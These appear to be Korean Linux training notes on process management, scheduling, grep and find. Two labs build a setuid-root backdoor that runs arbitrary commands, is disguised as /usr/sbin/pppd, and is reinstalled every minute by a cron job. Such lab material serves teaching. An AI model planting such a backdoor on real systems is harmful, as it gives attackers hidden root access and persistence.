

## 프로세스 종류

부모 프로세스	다른 프로세스를 생성할 수 있는 프로세스
자식 프로세스	부모 프로세스로부터 만들어지는 프로세스 자식프로세스 종료 후 부모 프로세스 종료
데몬 프로세스	특정 서비스를 실행하는 백그라운드 프로세스 파일 이름 끝에 'd'에 붙여서 사용하는 것이 일반적
고아 프로세스	자식 프로세스가 종료되기 전 부모 프로세스가 먼저 종료된 프로세스 • 자식프로세스가 종료된 후 부모프로세스가 종료됨 Systemd 프로스가 처리
좀비 프로세스	정상적으로 프로세스를 종료했지만 자원을 반납하지 않은 상태로 남아있는 프로세스 자원을 점유한 상태에서 동작하지 않은 프로세스

# 프로세스 확인 명령어

#ps //현재 로그인한 사용자가 실행한 프로세스 목록 출력

```
[root@localhost /]# ps
  PID TTY          TIME CMD
 3433 pts/0        00:00:00 bash
 4288 pts/0        00:00:00 ps

[root@localhost /]# ps -f
UID          PID    PPID  C STIME TTY          TIME CMD
root          3433    3428  0 18:31 pts/0        00:00:00 bash
root          4551    3433  0 19:36 pts/0        00:00:00 ps -f
```

#ps -ef //시스템 상의 모든 프로세스 정보를 상세 출력

```
[root@localhost /]# ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
root           1         0  0 18:24 ?        00:00:03 /usr/lib/systemd/systemd --switched-root
root           2         0  0 18:24 ?        00:00:00 [kthreadd]
root           3         2  0 18:24 ?        00:00:00 [rcu_gp]
root           4         2  0 18:24 ?        00:00:00 [rcu_par_gp]
root           6         2  0 18:24 ?        00:00:00 [kworker/0:0H-kblockd]
root           8         2  0 18:24 ?        00:00:00 [mm_percpu_wq]
root           9         2  0 18:24 ?        00:00:00 [ksoftirqd/0]
root          10         2  0 18:24 ?        00:00:00 [rcu_sched]
root          11         2  0 18:24 ?        00:00:00 [migration/0]
root          12         2  0 18:24 ?        00:00:00 [watchdog/0]
root          13         2  0 18:24 ?        00:00:00 [cpuhp/0]
```

① ② ③ ④ ⑤ ⑥ ⑦ ⑧

커널 번호

- ① 프로세스소유자ID
- ② 프로세스ID
- ③ 부모프로세스ID
- ④ CPU사용량
- ⑤ 프로세스시작시간
- ⑥ 장치번호
- ⑦ 프로세스누적실행시간
- ⑧ 명령옵션

## 명령어 pstree

- 프로세스 상태를 트리 구조로 출력해주는 명령어

```
[root@localhost ~] # pstree
systemd--ModemManager--2*[ { ModemManager} ]
      --NetworkManager--3*[ { NetworkManager} ]
      --2*[ abrt-watch-log]
      --abrt-d
      --accounts-daemon--2*[ { accounts-daemon} ]
      --alsactl
      --anacron
      --at-spi-bus-laun--dbus-daemon--{ dbus-daemon}
                        --3*[ { at-spi-bus-laun} ]
      --at-spi2-registr--{ at-spi2-registr}
      --atd
      --auditd--audispd--sedispatch
                --{ audispd}
                --{ auditd}
      --avahi-daemon--avahi-daemon
```

## 명령어 top

- 동작중인 프로세스의 상태를 실시간 화면으로 출력
- 프로세스 상태뿐만 아니라 CPU, 메모리, 부하 상태 등도 확인

```
top - 08:08:03 up 8 min,  2 users,  load average: 0.37, 0.45, 0.32
Tasks: 414 total,   3 running, 411 sleeping,   0 stopped,   0 zombie
%cpu(s): 16.3 us,  1.3 sy,   0.0 ni, 82.3 id,   0.0 wa,   0.0 hi,   0.0 si,   0.0 st
KiB Mem:  8162652 total, 1086904 used, 7075748 free,   916 buffers
KiB Swap: 4194300 total,   0 used, 4194300 free. 281112 cached Mem
```

PID	USER	PR	NI	VIRT	RES	SHR	S	%CPU	%MEM	TIME+	COMMAND
1102	root	20	0	201628	45644	7664	S	9.0	0.6	0:24.01	Xorg
2327	gildong	20	0	1633812	335840	41244	S	7.0	4.1	0:24.80	gnome-shell
3090	root	20	0	123792	1872	1156	R	0.7	0.0	0:00.06	top
276	root	20	0	0	0	0	S	0.3	0.0	0:00.36	kworker/0:1
963	root	20	0	267376	4384	3532	S	0.3	0.1	0:01.03	vmtoolsd
2495	gildong	20	0	985940	29424	21380	S	0.3	0.4	0:00.19	evolution-alarm
2881	gildong	20	0	788944	19616	12956	S	0.3	0.2	0:00.59	gnome-terminal-
1	root	20	0	53816	7724	2520	S	0.0	0.1	0:02.66	systemd

## 명령어 kill

- 프로세스에 특정한 시그널을 보내는 명령어
- 일반적으로 중지시킬 수 없는 프로세스를 종료시킬 때 사용
- 옵션 없이 실행되면 프로세스 종료신호(15, SIGTERM)를 보냄

```
[root@localhost ~]# kill -l
 1) SIGHUP      2) SIGINT      3) SIGQUIT     4) SIGILL      5) SIGTRAP
 6) SIGABRT     7) SIGBUS     8) SIGFPE     9) SIGKILL     10) SIGUSR1
11) SIGSEGV    12) SIGUSR2    13) SIGPIPE    14) SIGALRM    15) SIGTERM
16) SIGSTKFLT  17) SIGCHLD   18) SIGCONT    19) SIGSTOP    20) SIGTSTP
21) SIGTTIN    22) SIGTTOU   23) SIGURG     24) SIGXCPU    25) SIGXFSZ
26) SIGVTALRM  27) SIGPROF   28) SIGWINCH   29) SIGIO       30) SIGPWR
31) SIGSYS     34) SIGRTMIN   35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3
38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8
43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9  56) SIGRTMAX-8  57) SIGRTMAX-7
58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2
63) SIGRTMAX-1 64) SIGRTMAX
[root@localhost ~]#
```

- kill -9 PID
- pkill -p 프로세스명

시그널번호: 프로세스에게 전달하는 신호값  
9 (프로세스 강제종료 신호값)

```
[root@localhost /]# ps -ef | grep sleep
root      4864      917  0 19:44 ?        00:00:00 sleep 60
root      4868     3433  0 19:44 pts/0    00:00:00 grep --color=auto sleep
[root@localhost /]# ps -ef | grep 917
root       917         1  0 18:24 ?        00:00:00 /bin/bash /usr/sbin/ksmtuned
root      4864      917  0 19:44 ?        00:00:00 sleep 60
root      4879     3433  0 19:45 pts/0    00:00:00 grep --color=auto 917
```

\*명령어 sleep : 지정한 시간만큼 대기하고 종료하는 명령어

```

[root@localhost ~]# sleep 200 &
[1] 4778
[root@localhost ~]# sleep 200 &
[2] 4785
[root@localhost ~]# sleep 200 &
[3] 4792
[root@localhost ~]# sleep 200 &
[4] 4799
[root@localhost ~]# ps -ef | grep sleep
root      4750      917  0 19:42 ?        00:00:00 sleep 60
root      4778      3433  0 19:43 pts/0    00:00:00 sleep 200
root      4785      3433  0 19:43 pts/0    00:00:00 sleep 200
root      4792      3433  0 19:43 pts/0    00:00:00 sleep 200
root      4799      3433  0 19:43 pts/0    00:00:00 sleep 200
root      4807      3433  0 19:43 pts/0    00:00:00 grep --color=auto sleep
[root@localhost ~]#
[root@localhost ~]# kill -9 4750
[root@localhost ~]# ps -ef | grep sleep
root      4778      3433  0 19:43 pts/0    00:00:00 sleep 200
root      4785      3433  0 19:43 pts/0    00:00:00 sleep 200
root      4792      3433  0 19:43 pts/0    00:00:00 sleep 200
root      4799      3433  0 19:43 pts/0    00:00:00 sleep 200
root      4835      917  0 19:43 ?        00:00:00 sleep 60
root      4837      3433  0 19:43 pts/0    00:00:00 grep --color=auto sleep
[root@localhost ~]#
[root@localhost ~]# pkill -9 sleep
[1]   죽었음          sleep 200
[2]   죽었음          sleep 200
[3]-  죽었음          sleep 200
[4]+  죽었음          sleep 200
[root@localhost ~]# ps -ef | grep sleep
root      4864      917  0 19:44 ?        00:00:00 sleep 60
root      4868      3433  0 19:44 pts/0    00:00:00 grep --color=auto sleep

```

#sleep 200 &

#sleep 200 &

#sleep 200 &

#sleep 200 &

#ps -ef | grep sleep

#kill -9

#ps -ef | grep sleep

#pkill -9 sleep

## 프로세스 스케줄링

- 특정한 시간에 특정한 작업을 수행하게 하는 것
- at과 cron 사용



## 명령어 at

- 지정한 시간에 원하는 명령이나 작업을 실행
- 한번만 실행되는 경우 주로 사용
- atd데몬의 의해 실행
- 지정한 작업은 큐에 저장되며 저장된 작업들은 /var/spool/at 디렉터리에 저장

```
[root@localhost ~]# at 08:40am
at> ls -al > /TEST/today
at> <EOT>
job 1 at Wed Oct 25 08:40:00 2023
[root@localhost ~]#
[root@localhost ~]# at -l
1          Wed Oct 25 08:40:00 2023 a root
```

```
#at 13:00pm
    ls -al > /TEST/today
Ctrl+d
#at -l
#at -c 1
#at -d 1
```

# 명령어 cron

- 주기적으로 프로세스를 실행 시 사용
- 시스템 운영 또는 사용자의 필요에 의한 작업으로 나뉨
  - 시스템 운영에 필요한 작업 : root권한으로 **/etc/crontab**에 등록
  - 일반 사용자 : **/var/spool/cron/사용자ID**에 등록



**0 12 \* \* 1-5 /etc/work.sh**

- 월요일~금요일까지 오후 12시 실행

**10 4 1 1-12/2 \* /etc/work.sh**

- 1월부터 12월까지 2개월마다 1일날 오전 4시 10분에 실행

**0 10 \* \* 1 cat /root/notice | mail -s “notice” gildong@test.com**

**0 4 \* \* 1,3,5 find / -name ‘\*.bak’ -exec rm -rf {} \;**

**\*/10 \* \* \* \* /etc/work.sh**

## LAB 1. Backdoor 숨기기

\* 백도어가 마치 시스템 상의 중요한 setuid 파일인 것처럼 위장

```
(root@kali)-[~]  
# find / -user root -perm -4000  
/home/kali/test/backdoor  
/home/gildong/backdoor
```

```
/usr/sbin/mount.nfs  
/usr/sbin/pppd  
/usr/lib/polkit-1/polkit-agent-helper-1  
/usr/lib/xorg/Xorg.wrap  
/usr/lib/mysql/plugin/auth_pam_tool_dir/auth_pam_tool  
/usr/lib/dbus-1.0/dbus-daemon-launch-helper  
/usr/lib/openssh/ssh-keysign  
find: '/run/user/1000/gvfs': Permission denied
```

```
(root@kali)-[~]  
# cd /usr/sbin
```

```
(root@kali)-[/usr/sbin]  
# ls -l pppd  
-rwsr-xr-- 1 root dip 403832 May 13 2022 pppd
```

```
(root@kali)-[/usr/sbin]  
# ./pppd  
./pppd: The remote system is required to authenticate itself  
./pppd: but I couldn't find any suitable secret (password) for it to use to do so.
```

### ① 위장할 파일 조회하기

```
#find / -user root -perm -4000
```

```
#cd /usr/sbin
```

```
#ls -l pppd
```

```
#./pppd
```

## ② Backdoor 파일 내용 수정

```
#cd /home/gildong
#nano backexec.c {
~~~
printf
printf
}
```

```
(root@kali)-[/home/gildong]
# ls
backdoor  backdoor.c  backexec.c
```

```
(root@kali)-[/home/gildong]
# cat backexec.c
#include <stdio.h>
main(int argc, char *argv[])
{
    char exec[100];
    setuid(0);
    setgid(0);
    sprintf(exec, "%s 2>/dev/null", argv[1]);
    system(exec);
```

```
printf("./pppd:The remot system is required to authenticate itsef\n");
printf("./pppd: but I couldn't find any suitable secret (password) for it to use to do so.\n");
```

```
}
```

### ③ 컴파일 후 권한 재설정

```
#cd /home/gildong
```

```
#gcc -o backexec backexec.c
```

```
#chmod 4755 backexec
```

```
#./backexec
```

```
(root@kali)-[/home/gildong]
# ls -l
total 40
-rwsr-xr-x 1 root root 16056 May 14 04:20 backdoor
-rw-r--r-- 1 root root 77 May 14 04:17 backdoor.c
-rwxr-xr-x 1 root root 16160 May 14 04:59 backexec
-rw-r--r-- 1 root root 324 May 14 04:56 backexec.c

(root@kali)-[/home/gildong]
# chmod 4755 backexec

(root@kali)-[/home/gildong]
# ./backexec
./pppd:The remot system is required to authenticate itsef
./pppd: but I couldn't find any suitable secret (password) for it to use to do so.

(root@kali)-[/home/gildong]
#
```

#### ④ 정상 파일을 Backdoor로 변환

```
(root@kali)-[/home/gildong]
# cp /usr/sbin/pppd /usr/sbin/pppd.bak

(root@kali)-[/home/gildong]
# mv backexec /usr/sbin/pppd

(root@kali)-[/home/gildong]
# cd /usr/sbin

(root@kali)-[/usr/sbin]
# ls -l pppd
-rwsr-xr-x 1 root root 16160 May 14 04:59 pppd

(root@kali)-[/usr/sbin]
#
```

```
#cd /home/gildong
```

```
#cp /usr/sbin/pppd /usr/sbin/pppd.bak
```

```
#mv backexec /usr/sbin/pppd
```

```
#cd /usr/bin
```

```
#ls -l pppd
```



## ⑤ Backdoor 실행

```
(gildong@kali)-[/usr/sbin]
$ ./pppd "whoami"
root
./pppd:The remot system is required to authenticate itsef
./pppd: but I couldn't find any suitable secret (password) for it to use to do so.

(gildong@kali)-[/usr/sbin]
$ ./pppd "mkdir /testhome"
./pppd:The remot system is required to authenticate itsef
./pppd: but I couldn't find any suitable secret (password) for it to use to do so.

(gildong@kali)-[/usr/sbin]
$ ls -l /testhome
total 0

(gildong@kali)-[/usr/sbin]
$ ls -ld /testhome
drwxr-xr-x 2 root root 4096 May 14 05:08 /testhome

(gildong@kali)-[/usr/sbin]
$ ./pppd "id"
uid=0(root) gid=0(root) groups=0(root),100(users),1001(gildong)
./pppd:The remot system is required to authenticate itsef
./pppd: but I couldn't find any suitable secret (password) for it to use to do so.
```

#su gildong

\$cd /usr/sbin

\$/pppd "whoami"

\$/pppd "mkdir /testhome"

\$ls -ld /testhome

\$/pppd "id"



```
#find / -user root -perm -4000 > /home/gildong/sfile.txt
```

```
#ls /home/gildong/sfile.txt
```

```
#cat /home/gildong/sfile.txt
```

```
(root@kali)-[/usr/sbin]
# find / -user root -perm -4000 > /home/gildong/sfile.txt
find: '/proc/12507/task/12507/fd/5': No such file or directory
find: '/proc/12507/task/12507/fdinfo/5': No such file or directory
find: '/proc/12507/fd/6': No such file or directory
find: '/proc/12507/fdinfo/6': No such file or directory
find: '/run/user/1000/gvfs': Permission denied
```

```
(root@kali)-[/usr/sbin]
# ls /home/gildong/sfile.txt
/home/gildong/sfile.txt
```

```
(root@kali)-[/usr/sbin]
# cat /home/gildong/sfile.txt
/usr/bin/sudo
/usr/bin/umount
/usr/bin/kismet_cap_rz_killerbee
/usr/bin/newgrp
```

## LAB 2. Cron 데몬을 이용한 Backdoor 생성

```
(root@kali)-[/home/gildong]
# cat backexec.c
#include <stdio.h>
main(int argc, char *argv[])
{
    char exec[100];
    setuid(0);
    setgid(0);
    sprintf(exec, "%s 2>/dev/null", argv[1]);
    system(exec);

    printf("./pppd: The remote system is required to authenticate itself\n");
    printf("./pppd: but I couldn't find any suitable secret (password) for it to use to do so.\n");
}
```

```
#cd /home/gildong
#cat backexec.c
```

```
(root@kali)-[/]
# ls -ld /etc/cro*
drwxr-xr-x 2 root root 4096 Dec 5 2022 /etc/cron.d
drwxr-xr-x 2 root root 4096 Dec 5 2022 /etc/cron.daily
drwxr-xr-x 2 root root 4096 Dec 5 2022 /etc/cron.hourly
drwxr-xr-x 2 root root 4096 Dec 5 2022 /etc/cron.monthly
-rw-r--r-- 1 root root 1042 Nov 13 2022 /etc/crontab
drwxr-xr-x 2 root root 4096 Dec 5 2022 /etc/cron.weekly
```

```
#ls -ld /etc/cro*
```

```

(root@kali)-[/etc/cron.d]
# cat set.sh
gcc -o backexec /home/gildong/backexec.c
chmod 4755 backexec
mv backexec /usr/sbin/pppd

(root@kali)-[/etc/cron.d]
# ls -l set.sh
-rw-r--r-- 1 root root 88 Oct 24 23:12 set.sh

(root@kali)-[/etc/cron.d]
# chmod 755 set.sh

(root@kali)-[/etc/cron.d]
# ls -l set.sh
-rwxr-xr-x 1 root root 88 Oct 24 23:12 set.sh

(root@kali)-[/etc/cron.d]
#

```

#cd /etc/cron.d

#nano set.sh

#ls -l set.sh

#chmod 755 set.sh

#ls -l set.sh

#nano /etc/crontab

**\* \* \* \* \* root /etc/cron.d/set.sh**

```
(root@kali)-[/etc/cron.d]
# tail -l /etc/crontab
# | | | | . — day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
* * * * * root /etc/cron.d/set.sh
# service cron restart
```

## [참고] 명령어 grep & find

### 파일 내용 검색 명령어 grep

grep [옵션] [패턴] 파일명

-i : 대소문자 표시

-n : 줄번호 표시

-c : 매칭되는 줄 수 표시

-l : 패턴이 있는 파일 이름 출력

-v : 패턴을 제외한 내용만 출력

```
[root@localhost ~]# grep -i root /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
[root@localhost ~]#
[root@localhost ~]# grep -n root /etc/passwd
1:root:x:0:0:root:/root:/bin/bash
10:operator:x:11:0:operator:/root:/sbin/nologin
[root@localhost ~]#
[root@localhost ~]# grep -c root /etc/passwd
2
[root@localhost ~]# grep -l root /etc/passwd
/etc/passwd
[root@localhost ~]# grep -v root /etc/passwd
```

# 디렉터리 내에서 검색 명령어 find

find [경로] [조건] [아규먼트] [행동]

조건	설명
-name	이름으로 검색
-type	파일 타입으로 검색
-perm	권한으로 검색
-user	소유자로 검색
-size	파일크기로 검색 (+ 이상, - 이하)
-atime	파일의 마지막 접근 시간으로 검색
-mtime	파일의 마지막 수정 시간으로 검색

행동	설명
-ls	이름으로 검색
-exec [명령어] {} \	검색한 파일을 특정 명령어로 실행



#find / -name passwd

#find / -name passwd -type f

#find / -name passwd -type d

```
[root@localhost /]# find / -name passwd
/sys/fs/selinux/class/passwd
/sys/fs/selinux/class/passwd/perms/passwd
/etc/pam.d/passwd
/etc/passwd
/var/lib/sss/mc/passwd
/usr/bin/passwd
/usr/share/licenses/passwd
/usr/share/doc/passwd
/usr/share/bash-completion/completions/passwd
[root@localhost /]#
[root@localhost /]# find / -name passwd -type f
/sys/fs/selinux/class/passwd/perms/passwd
/etc/pam.d/passwd
/etc/passwd
/var/lib/sss/mc/passwd
/usr/bin/passwd
/usr/share/bash-completion/completions/passwd
[root@localhost /]#
[root@localhost /]# find / -name passwd -type d
/sys/fs/selinux/class/passwd
/usr/share/licenses/passwd
/usr/share/doc/passwd
[root@localhost /]#
```

## 파일 찾아 특정 명령어 실행하기

```
[root@localhost /]# find / -name passwd -ls
67113246      0 dr-xr-xr-x   3 root    root          0 3월 23 18:24 /sys/fs/selinux/class/passwd
67109855      0 -r--r--r--   1 root    root          0 3월 23 18:24 /sys/fs/selinux/class/passwd/perms/passwd
33936972      4 -rw-r--r--   1 root    root        168 5월 12 2019 /etc/pam.d/passwd
35410868      4 -rw-r--r--   1 root    root       2490 3월 23 18:19 /etc/passwd
101575546    8212 -rw-r--r--   1 root    root    8406312 3월 23 19:41 /var/lib/sss/mc/passwd
67932558     36 -rwsr-xr-x   1 root    root    34928 5월 12 2019 /usr/bin/passwd
33937017      0 drwxr-xr-x   2 root    root        21 3월 23 18:13 /usr/share/licenses/passwd
  743199      0 drwxr-xr-x   2 root    root        50 3월 23 18:13 /usr/share/doc/passwd
69118206      4 -rw-r--r--   1 root    root       497 4월 27 2017 /usr/share/bash-completion/completions/passwd
```

```
[root@localhost /]# mkdir /TST
[root@localhost /]# cd /TST
[root@localhost TST]# touch AAAA
[root@localhost TST]# ls -l
합계 0
-rw-r--r--. 1 root root 0  3월 23 20:28 AAAA
[root@localhost TST]#
[root@localhost TST]# cd /
[root@localhost /]#
[root@localhost /]# find / -name AAAA -exec rm -rf {} \;
[root@localhost /]# ls /TST
[root@localhost /]#
```

#mkdir /TST

#cd /TST

#touch AAAA

#find / -name AAAA -exec rm -rf {} \;